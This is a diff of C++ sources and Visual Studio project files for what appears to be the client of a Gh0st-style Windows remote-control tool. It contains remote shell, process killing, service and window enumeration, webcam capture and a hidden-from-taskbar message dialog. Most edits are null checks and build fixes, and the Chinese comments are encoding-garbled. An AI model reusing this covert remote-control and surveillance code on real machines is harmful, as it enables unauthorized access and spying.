QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList()
if (LocalSize(szBuffer) < (dwOffset + dwLength)) if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE); LMEM_ZEROINIT|LMEM_MOVEABLE);
if (szBuffer == NULL)
continue;
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
lstrlen(ServicesStatus[i].lpDisplayName) + 1); lstrlen(ServicesStatus[i].lpDisplayName) + 1);
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD> dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>

View File

@@ -16,10 +16,10 @@ class CServicesManager : public CManager
public: public:
CServicesManager(IOCPClient* ClientObject, int n); CServicesManager(IOCPClient* ClientObject, int n);
virtual ~CServicesManager(); virtual ~CServicesManager();
VOID CServicesManager::SendServicesList(); VOID SendServicesList();
LPBYTE CServicesManager::GetServicesList(); LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength); void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager; SC_HANDLE m_hscManager;
}; };

View File

@@ -25,7 +25,7 @@ public:
virtual ~CShellManager(); virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam); static DWORD WINAPI ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead; HANDLE m_hThreadRead;
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4> int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>

View File

@@ -6,6 +6,17 @@
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) #if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_ #define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><E3B7A8>Ҫ<EFBFBD><D2AA>server<65><72>stdafx.hƥ<68><C6A5>
#define USING_COMPRESS 1
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 1
#if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 1
#endif
#if _MSC_VER > 1000 #if _MSC_VER > 1000
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
@@ -49,19 +60,25 @@ class auto_tick
{ {
private: private:
const char *func; const char *func;
int threshold; int span;
clock_t tick; clock_t tick;
__inline clock_t now() const { return clock(); } __inline clock_t now() const { return clock(); }
__inline int time() const { return now() - tick; }
public: public:
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { } auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);} ~auto_tick() { stop(); }
__inline int time() const { return now() - tick; }
__inline void stop() {
if (span != 0) { int s(this->time()); if (s > span)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
}
}; };
#ifdef _DEBUG #ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ // <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh) #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#define STOP_TICK TICK.stop()
#else #else
#define AUTO_TICK(thresh) #define AUTO_TICK(thresh)
#define STOP_TICK
#endif #endif

View File

@@ -8,6 +8,11 @@
#include <IOSTREAM> #include <IOSTREAM>
using namespace std; using namespace std;
#include <TLHELP32.H> #include <TLHELP32.H>
#ifndef PSAPI_VERSION
#define PSAPI_VERSION 1
#endif
#include <Psapi.h> #include <Psapi.h>
#pragma comment(lib,"psapi.lib") #pragma comment(lib,"psapi.lib")
@@ -73,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList()
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD> HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD> LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
dwOffset = 1; dwOffset = 1;
@@ -258,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ //ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
if (szBuffer == NULL) if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD> szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return FALSE;
//[<5B><>Ϣ][4Notepad.exe\0] //[<5B><>Ϣ][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
dwOffset = LocalSize(szBuffer); //1 dwOffset = LocalSize(szBuffer); //1
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С //<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
if (szBuffer == NULL)
return FALSE;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0 //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);

View File

@@ -17,15 +17,15 @@ class CSystemManager : public CManager
public: public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow); CSystemManager(IOCPClient* ClientObject,BOOL bHow);
virtual ~CSystemManager(); virtual ~CSystemManager();
LPBYTE CSystemManager::GetProcessList(); LPBYTE GetProcessList();
VOID CSystemManager::SendProcessList(); VOID SendProcessList();
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable); BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength); VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE CSystemManager::GetWindowsList(); LPBYTE GetWindowsList();
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam); static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
void CSystemManager::SendWindowsList(); void SendWindowsList();
void CSystemManager::TestWindow(LPBYTE szBuffer); void TestWindow(LPBYTE szBuffer);
}; };
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)

View File

@@ -15,12 +15,12 @@ using namespace std;
#define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3 #define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 250 #define WIN_WIDTH 360
#define WIN_HEIGHT 250 #define WIN_HEIGHT 200
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
char g_Buffer[0x1000] = {0}; char g_Buffer[TALK_DLG_MAXLEN] = {0};
UINT_PTR g_Event = 0; UINT_PTR g_Event = 0;
IOCPClient* g_IOCPClientObject = NULL; IOCPClient* g_IOCPClientObject = NULL;
@@ -33,6 +33,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_IOCPClientObject = ClientObject; g_IOCPClientObject = ClientObject;
WaitForDialogOpen(); WaitForDialogOpen();
cout << "Talk <20><><EFBFBD><EFBFBD>\n";
} }
CTalkManager::~CTalkManager() CTalkManager::~CTalkManager()
@@ -52,9 +53,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
default: default:
{ {
memcpy(g_Buffer, szBuffer, ulLength); memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL,DialogProc); //SDK C MFC C++ NULL,DialogProc); //SDK C MFC C++
break; break;
@@ -74,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
} }
case WM_INITDIALOG: case WM_INITDIALOG:
{ {
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
exStyle &= ~WS_EX_APPWINDOW;
exStyle |= WS_EX_TOOLWINDOW;
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
OnInitDialog(hDlg); OnInitDialog(hDlg);
break; break;
} }
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT;
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
} }
return 0; return 0;
@@ -87,8 +104,13 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{ {
MoveWindow(hDlg, 0, 0, 0, 0, TRUE); MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
::SetFocus(GetDesktopWindow());
memset(g_Buffer,0,sizeof(g_Buffer)); memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW; g_Event = ID_TIMER_POP_WINDOW;

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations"> <ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32"> <ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
@@ -13,18 +13,19 @@
<PropertyGroup Label="Globals"> <PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid> <ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace> <RootNamespace>TestRun</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries> <UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
</PropertyGroup> </PropertyGroup>
@@ -38,7 +39,14 @@
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
@@ -49,6 +57,7 @@
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -59,11 +68,14 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>

View File

@@ -1,10 +1,10 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand> <RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory> <RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName> <RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory> <DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles> <AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime> <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>

View File

@@ -0,0 +1,98 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>TestRun</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource1.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
m_fccHandler = 1129730893; m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD> m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0, m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL); (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
@@ -34,22 +35,35 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
if (This->Initialize()) //ת<><D7AA>Initialize if (This->Initialize()) //ת<><D7AA>Initialize
{ {
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9> This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
} }
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
